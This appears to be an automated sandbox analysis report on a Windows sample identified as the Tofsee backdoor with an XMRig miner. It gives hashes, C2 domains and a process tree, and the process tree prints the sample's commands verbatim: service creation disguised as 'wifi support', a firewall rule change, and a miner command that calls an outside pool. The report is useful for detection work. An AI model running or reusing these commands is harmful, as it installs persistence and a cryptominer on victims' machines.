Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    21-12-2022 20:43

General

  • Target

    file.exe

  • Size

    228KB

  • MD5

    e73f955a0070c77ba26a4691c40b1dc0

  • SHA1

    fb0eb89ece11cb6ff4199632af7ee9fd301f0179

  • SHA256

    24a1155958c5f919c19d5f21073b3029fb12d7fd3efa79cade7b857bf4a23bc5

  • SHA512

    8759aeb29d613a533b1dbb89cc3b0067d8c5f64725930ea8912dba4fc5eb526d2a9305451ce4aa9a6dc34d6a16bce088c26ea0e94b9a2d2b95ed3346771f9fc5

  • SSDEEP

    3072:ns+QELbm7m5k7Ox/mp9GDIErDO+FLW4P84nNj1/uapj1cNQK1+eJV5u43:NVLbmzSOpwrrDO+BW85Nx/u41eRu4

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\morpzefa\
      2⤵
        PID:1668
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zyxyzjlo.exe" C:\Windows\SysWOW64\morpzefa\
        2⤵
          PID:1352
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create morpzefa binPath= "C:\Windows\SysWOW64\morpzefa\zyxyzjlo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description morpzefa "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start morpzefa
          2⤵
          • Launches sc.exe
          PID:276
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:592
      • C:\Windows\SysWOW64\morpzefa\zyxyzjlo.exe
        C:\Windows\SysWOW64\morpzefa\zyxyzjlo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:468
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1832
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1708

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zyxyzjlo.exe

        Filesize

        10.2MB

        MD5

        f7d534864d3237cb252dc1ab38be676e

        SHA1

        3dc54bddf1fcfd5621b2d657a9c74d82903eb8d1

        SHA256

        3f75239013dd4f2d0e98273feec0f7ccfe3602000d68ef29b861f898c62e051b

        SHA512

        1da760989f3a21cfb12c5e807d178d3d14ba125d25de1af6a2932756baf7148cf7fd4a7486ded0eb48f33813e4fd71694e688f94b685a93cd411ccf1da88b266

      • C:\Windows\SysWOW64\morpzefa\zyxyzjlo.exe

        Filesize

        10.2MB

        MD5

        f7d534864d3237cb252dc1ab38be676e

        SHA1

        3dc54bddf1fcfd5621b2d657a9c74d82903eb8d1

        SHA256

        3f75239013dd4f2d0e98273feec0f7ccfe3602000d68ef29b861f898c62e051b

        SHA512

        1da760989f3a21cfb12c5e807d178d3d14ba125d25de1af6a2932756baf7148cf7fd4a7486ded0eb48f33813e4fd71694e688f94b685a93cd411ccf1da88b266

      • memory/276-64-0x0000000000000000-mapping.dmp

      • memory/468-79-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/468-77-0x0000000000568000-0x0000000000579000-memory.dmp

        Filesize

        68KB

      • memory/468-69-0x0000000000568000-0x0000000000579000-memory.dmp

        Filesize

        68KB

      • memory/592-66-0x0000000000000000-mapping.dmp

      • memory/1212-59-0x0000000000648000-0x0000000000659000-memory.dmp

        Filesize

        68KB

      • memory/1212-68-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1212-55-0x0000000076711000-0x0000000076713000-memory.dmp

        Filesize

        8KB

      • memory/1212-61-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1212-60-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1212-54-0x0000000000648000-0x0000000000659000-memory.dmp

        Filesize

        68KB

      • memory/1212-67-0x0000000000648000-0x0000000000659000-memory.dmp

        Filesize

        68KB

      • memory/1352-57-0x0000000000000000-mapping.dmp

      • memory/1648-62-0x0000000000000000-mapping.dmp

      • memory/1664-63-0x0000000000000000-mapping.dmp

      • memory/1668-56-0x0000000000000000-mapping.dmp

      • memory/1708-100-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/1708-107-0x000000000015259C-mapping.dmp

      • memory/1708-102-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/1832-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1832-82-0x0000000001900000-0x0000000001B0F000-memory.dmp

        Filesize

        2.1MB

      • memory/1832-85-0x0000000000420000-0x0000000000426000-memory.dmp

        Filesize

        24KB

      • memory/1832-88-0x0000000000470000-0x0000000000480000-memory.dmp

        Filesize

        64KB

      • memory/1832-91-0x0000000000480000-0x0000000000485000-memory.dmp

        Filesize

        20KB

      • memory/1832-94-0x0000000005430000-0x000000000583B000-memory.dmp

        Filesize

        4.0MB

      • memory/1832-97-0x0000000000490000-0x0000000000497000-memory.dmp

        Filesize

        28KB

      • memory/1832-81-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1832-75-0x00000000000C9A6B-mapping.dmp

      • memory/1832-74-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1832-109-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB